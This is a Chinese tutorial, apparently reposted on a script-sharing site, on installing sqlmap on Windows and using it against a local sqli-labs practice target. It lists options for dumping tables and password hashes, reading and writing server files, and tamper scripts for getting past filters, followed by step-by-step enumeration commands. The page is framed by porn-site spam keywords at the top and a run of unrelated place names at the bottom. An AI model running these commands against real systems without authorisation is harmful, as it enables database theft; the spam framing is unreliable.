最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Windows下SQLMAP的下載安裝和使用過程

 更新時間:2024年11月26日 11:58:14   作者:燕雀安知鴻鵠之志哉.  
本文詳細(xì)介紹了SQLMAP的下載安裝方法和基本使用方法,包括如何檢測SQL注入漏洞、查看數(shù)據(jù)庫信息等,感興趣的朋友跟隨小編一起看看吧

免責(zé)聲明

本文所提供的文字和信息僅供學(xué)習(xí)和研究使用,請讀者自覺遵守法律法規(guī),不得利用本文所提供的信息從事任何違法活動。本文不對讀者的任何違法行為承擔(dān)任何責(zé)任。工具來自網(wǎng)絡(luò),安全性自測,如有侵權(quán)請聯(lián)系刪除。

注意:SQLMAP 這樣的工具在合法的安全測試和研究環(huán)境之外的使用可能是非法的和不道德的。在實際應(yīng)用中,應(yīng)該在授權(quán)和合法的情況下使用它來幫助發(fā)現(xiàn)和修復(fù)系統(tǒng)中的安全漏洞,以提高系統(tǒng)的安全性。

1. SQLMAP下載安裝

1.1. 介紹

SQLMAP是一種開源滲透測試工具,可自動執(zhí)行SQL注入缺陷的檢測和注入過程,并接管數(shù)據(jù)庫服務(wù)器。它有強(qiáng)大的檢測引擎,針對不同類型的數(shù)據(jù)庫提供多樣的滲透測試功能選項,實現(xiàn)數(shù)據(jù)庫識別、數(shù)據(jù)獲取、訪問DBMS\操作系統(tǒng)甚至通過帶外數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)的命令,以及從數(shù)據(jù)庫指紋識別、從數(shù)據(jù)庫獲取數(shù)據(jù)、 通過帶外連接在操作系統(tǒng)上執(zhí)行命令。

1.2. 支持的數(shù)據(jù)庫

SQLMAP 支持檢測 MySQL 、 Oracle 、 PostgreSQL 、 MSSQL( Microsoft SQL Sever ) 、 Access ( Microsoft Access )、 IBM DB2 、SQLite、 Firebird、Sybase 和 SAP MaxDB 等

1.3. 支持的注入方式

分別是:布爾盲注、時間盲注、報錯注入、聯(lián)合查詢、堆疊注入

1.4. 下載安裝

SQLMap的安裝依賴于Python環(huán)境,所以需要事先安裝好Python,若沒有安裝請看在Windows下載、安裝Python和配置環(huán)境(新手、保姆級教程)-CSDN博客

SQLMAP的官方網(wǎng)站:https://sqlmap.org/

Windos系統(tǒng)下載 zip格式,Linux系統(tǒng)下載 .tar.gz格式。

提前在D盤新建一個文件夾,重命名最好為英文,下載解壓縮之后進(jìn)入sqlmap的文件夾,在此文件夾中打開控制臺( 可以在上方地址欄輸入cmd回車快速打開 )

輸入命令python sqlmap.pypython sqlmap.py -h檢驗是否成功,出現(xiàn)如圖所示界面就代表成功了。

注意:如果報錯就檢查一下環(huán)境變量是否配置成功;如果是沒反應(yīng)到python文件夾查看 python.exe 的名字,如果名字是 python2.exe或python3.exe,則命令就是python3 sqlmap.py

2. SQMAP的命令參數(shù)

2.1. sqlmap基本參數(shù)

這些是sqlmap的基本參數(shù)

-d 		指定直接數(shù)據(jù)庫連接得連接字符串,直接連接到數(shù)據(jù)庫。
-u 		指定URL目標(biāo)
-I 		從Burp或WebScarab代理得日志中解析目標(biāo)
-m 		掃描文本文件中給出得多個目標(biāo),批量掃描
-r 		從文本中加載HTTP請求。 用 * 標(biāo)記注入位置
-g 		將Google Dork得結(jié)果作為目標(biāo)URLh

這些參數(shù)可用于調(diào)整具體的 SQL 注入測試

-a 				獲取所有信息
-current-user 	獲取DBMS當(dāng)前用戶
--current-db  	獲取DBMS當(dāng)前數(shù)據(jù)庫
--hostname 		獲取DBMS當(dāng)前主機(jī)名
--is-dba 		檢測當(dāng)前用戶是否為管理員用戶
--users 		查詢DBMS用戶
--passwords 	查詢DBMS用戶密碼hash
--dbs 			查詢DBMS數(shù)據(jù)庫
--tables 		查詢DBMS數(shù)據(jù)庫中得表
--columns 		查詢DBMS數(shù)據(jù)庫表得列名
--dump 			查詢轉(zhuǎn)儲DBMS數(shù)據(jù)庫表
--dump-all 		轉(zhuǎn)儲DBMS所有數(shù)據(jù)庫表
-D db_name 		指定要求枚舉的DBMS數(shù)據(jù)庫名
-T table_name 	指定要枚舉得DBMS表
-C column_name 	指定要枚舉得DBMS列
--batch 		從不詢問用戶輸入,使用所有默認(rèn)配置

2.2. sqlmap進(jìn)階參數(shù)

--data=DATA 			通過POST方式發(fā)送數(shù)據(jù)字符串
--cookie=COOKIE 		HTTP Cookie頭 LMXCMS演示
--user-agent=AGENT		指定HTTP User-Agent頭
--random-agent 		    使用隨機(jī)選定得HTTP User-Agent頭
--host=HOST 			指定HTTP HOST header
--referer=REFERER 		指定HTTP Referer header
--ignore-proxy 			忽略系統(tǒng)默認(rèn)代理配置
--proxy=PROXY 			使用代理連接目標(biāo)URL --proxy=" http://127.0.0.1:8080"
--delay=DELAY 			可以設(shè)定兩個請求間得延遲
--timeout=TIMEOUT 		可以設(shè)定一個請求超過多久判定為超時
--force-ssl 			強(qiáng)制使用SSL/HTTPS
--threads=THREADS 		HTTP(s)最大并發(fā)請求數(shù)(默認(rèn)是1)
--dbms=DBMS 			強(qiáng)制指定后端DBMS
--os=OS 				強(qiáng)制指定后端得DBMS操作系統(tǒng)
--tamper 				使用給定得腳本修改注入數(shù)據(jù)

這些參數(shù)可用于自定義階段檢測探測選擇

--level=LEVEL 	測試等級(1-5, default 1)
--risk=RISK 	測試的風(fēng)險等級(1-3, default 1)
--technique 	來指定要使用哪種注入模式,快速掃描

2.4 訪問文件系統(tǒng)

--file-read=文件路徑 	從后端的數(shù)據(jù)庫管理系、統(tǒng)文件系統(tǒng)讀取文件
--file-write=文件路徑	編輯后端的數(shù)據(jù)庫管理系統(tǒng)、文件系統(tǒng)上的本地文件
--file-dest=文件路徑		后端的數(shù)據(jù)庫管理系統(tǒng)、寫入文件的絕對路徑

使用條件

  • 知道網(wǎng)站的絕對路徑
  • 高權(quán)限數(shù)據(jù)庫用戶
  • secure_file_priv=''無限制

2.5 tamper繞過

--tamper=base64encode.py
--tamper=test.py
space2comment.py 				用/**/代替空格
apostrophemask.py 				用utf8代替引號
equaltolike.py 					like代替等號
space2dash.py                   繞過過濾‘=' 替換空格字符(”),('–‘)后跟一個破折號注釋,一個隨機(jī)字符串和一個新行('n')
greatest.py 					繞過過濾'>' ,用GREATEST替換大于號。
space2hash.py 					空格替換為#號,隨機(jī)字符串以及換行符
apostrophenullencode.py 	    繞過過濾雙引號,替換字符和雙引號。
halfversionedmorekeywords.py    當(dāng)數(shù)據(jù)庫為mysql時繞過防火墻,每個關(guān)鍵字之前添加mysql版本評論
space2morehash.py 				空格替換為 #號 以及更多隨機(jī)字符串 換行符
appendnullbyte.py 				在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼
ifnull2ifisnull.py 				繞過對IFNULL過濾,替換類似'IFNULL(A,B)'為'IF(ISNULL(A), B, A)'
space2mssqlblank.py 			(mssql)空格替換為其它空符號
base64encode.py 				用base64編碼替換
space2mssqlhash.py 				替換空格
modsecurityversioned.py 	    過濾空格,包含完整的查詢版本注釋
space2mysqlblank.py 			空格替換其它空白符號(mysql)
between.py						用between替換大于號(>)
space2mysqldash.py				替換空格字符(”)(' – ‘)后跟一個破折號注釋一個新行(' n')
multiplespaces.py				圍繞SQL關(guān)鍵字添加多個空格
space2plus.py 					用+替換空格
bluecoat.py 					代替空格字符后與一個有效的隨機(jī)空白字符的SQL語句,然后替換=為like
nonrecursivereplacement.py      雙重查詢語句,取代SQL關(guān)鍵字
space2randomblank.py			代替空格字符(“”)從一個隨機(jī)的空白字符可選字符的有效集
sp_password.py					追加sp_password'從DBMS日志的自動模糊處理的有效載荷的末尾
chardoubleencode.py				雙url編碼(不處理以編碼的)
unionalltounion.py				替換UNION ALLSELECT UNION SELECT
charencode.py 					url編碼
randomcase.py					隨機(jī)大小寫
unmagicquotes.py				寬字符繞過 GPCaddslashes
randomcomments.py				用/**/分割sql關(guān)鍵字
charunicodeencode.py			字符串 unicode 編碼
securesphere.py					追加特制的字符串
versionedmorekeywords.py	    注釋繞過
space2comment.py				替換空格字符串(‘‘) 使用注釋‘/**/'
halfversionedmorekeywords.py    關(guān)鍵字前加注釋

3. SQLMAP的基本使用

我們以本地搭建的sql-labs靶場網(wǎng)址作為注入點測試

目標(biāo)注入點是:

http://127.0.0.1/sqli-labs-master/Less-1/

3.1. 判斷是否存在注入

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"

出現(xiàn)這個就表示存在漏洞,分別存在布爾注入、報錯注入、時間注入、union聯(lián)合注入

3.2. 判斷當(dāng)前用戶是否為dba

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --is-dba

3.3. 查看數(shù)據(jù)庫用戶

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user

3.4. 查看所有數(shù)據(jù)庫

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

3.5. 查看當(dāng)前數(shù)據(jù)庫名稱

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

3.6. 查詢當(dāng)前數(shù)據(jù)庫的表

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫名 --tables

3.7. 查詢表中的字段名

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫名 -T 表名 --columns

3.8. 查詢字段下的數(shù)據(jù)

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫名 -T 表名 --dump

本人發(fā)布、轉(zhuǎn)載的文章中所涉及的命令、技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途及盈利等目的,否則后果自行承擔(dān)?。。。?!

到此這篇關(guān)于SQLMAP的下載安裝和使用(Windows)的文章就介紹到這了,更多相關(guān)SQLMAP下載安裝使用內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Git版本控制從入門到精通的完全指南

    Git版本控制從入門到精通的完全指南

    作為當(dāng)今最流行的分布式版本控制系統(tǒng),Git 已經(jīng)成為開發(fā)者必備的技能之一,本文將帶你從零開始,逐步掌握 Git 的核心概念和常用操作,需要的朋友可以參考下
    2026-03-03
  • 關(guān)于WebSocket協(xié)議狀態(tài)碼解析

    關(guān)于WebSocket協(xié)議狀態(tài)碼解析

    這篇文章主要介紹了關(guān)于WebSocket協(xié)議狀態(tài)碼的使用方式,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2025-04-04
  • HTTP請求首部字段及響應(yīng)首部字段詳解

    HTTP請求首部字段及響應(yīng)首部字段詳解

    這篇文章主要介紹了HTTP請求首部字段及響應(yīng)首部字段,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-06-06
  • VSCode設(shè)置網(wǎng)頁代碼實時預(yù)覽的實現(xiàn)

    VSCode設(shè)置網(wǎng)頁代碼實時預(yù)覽的實現(xiàn)

    這篇文章主要介紹了VSCode設(shè)置網(wǎng)頁代碼實時預(yù)覽的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-04-04
  • Git推送代碼遭遇403?Forbidden錯誤的原因和解決方法

    Git推送代碼遭遇403?Forbidden錯誤的原因和解決方法

    這篇文章主要介紹了Git推送代碼時遇到403Forbidden錯誤的原因和解決方法,常見原因包括權(quán)限不足、認(rèn)證方式錯誤、本地配置問題等,解決方法包括聯(lián)系項目管理員申請權(quán)限、使用Fork+MergeRequest流程參與協(xié)作、以及配置SSH密鑰等,需要的朋友可以參考下
    2025-10-10
  • 基于 Serverless +企業(yè)微信打造 nCoV 疫情監(jiān)控小助手

    基于 Serverless +企業(yè)微信打造 nCoV 疫情監(jiān)控小助手

    這篇文章主要介紹了基于 Serverless +企業(yè)微信打造 nCoV 疫情監(jiān)控小助手,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-02-02
  • Kali滲透測試之使用Metasploit對Web應(yīng)用的攻擊

    Kali滲透測試之使用Metasploit對Web應(yīng)用的攻擊

    這篇文章主要介紹了Kali滲透測試:使用Metasploit對Web應(yīng)用的攻擊,這種漏洞源于Web應(yīng)用程序沒有對用戶輸入的內(nèi)容進(jìn)行準(zhǔn)確的驗證,從而導(dǎo)致操作系統(tǒng)執(zhí)行了攻擊者輸入的命令,需要的朋友可以參考下
    2022-05-05
  • VSCode的使用配置以及VSCode插件的安裝教程詳解

    VSCode的使用配置以及VSCode插件的安裝教程詳解

    這篇文章主要介紹了VSCode的使用配置以及VSCode插件的安裝教程詳解,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-08-08
  • git大倉庫拉取卡頓問題排查與解決方法

    git大倉庫拉取卡頓問題排查與解決方法

    在大倉庫中執(zhí)行 git fetch 或 git pull 遲遲沒有反應(yīng),通常是由網(wǎng)絡(luò)問題、數(shù)據(jù)量過大導(dǎo)致內(nèi)存/緩沖區(qū)溢出、或認(rèn)證卡死引起的, 下面我們就來看如何排查和解決吧
    2026-05-05
  • ChatGPT如何寫好Prompt編程示例詳解

    ChatGPT如何寫好Prompt編程示例詳解

    這篇文章主要為大家介紹了ChatGPT如何寫好Prompt編程示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-03-03

最新評論

霸州市| 错那县| 江源县| 古蔺县| 江口县| 竹北市| 漠河县| 江口县| 永登县| 四川省| 长白| 习水县| 会昌县| 西乌| 红河县| 安西县| 双峰县| 盈江县| 民勤县| 收藏| 广灵县| 手游| 丰镇市| 赤峰市| 北川| 随州市| 黄平县| 通榆县| 汉沽区| 山东省| 桦甸市| 阿勒泰市| 安阳市| 进贤县| 荃湾区| 昭觉县| 湄潭县| 梁山县| 独山县| 德阳市| 北京市|